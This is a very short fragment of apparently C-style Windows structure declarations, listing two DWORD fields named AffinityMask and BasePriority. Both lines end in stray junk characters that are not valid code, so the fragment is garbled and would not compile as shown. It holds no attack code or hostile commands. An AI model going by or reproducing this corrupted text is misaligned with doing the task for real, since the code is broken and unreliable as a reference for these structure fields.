DWORD AffinityMask; chv0\k"'
DWORD BasePriority; W&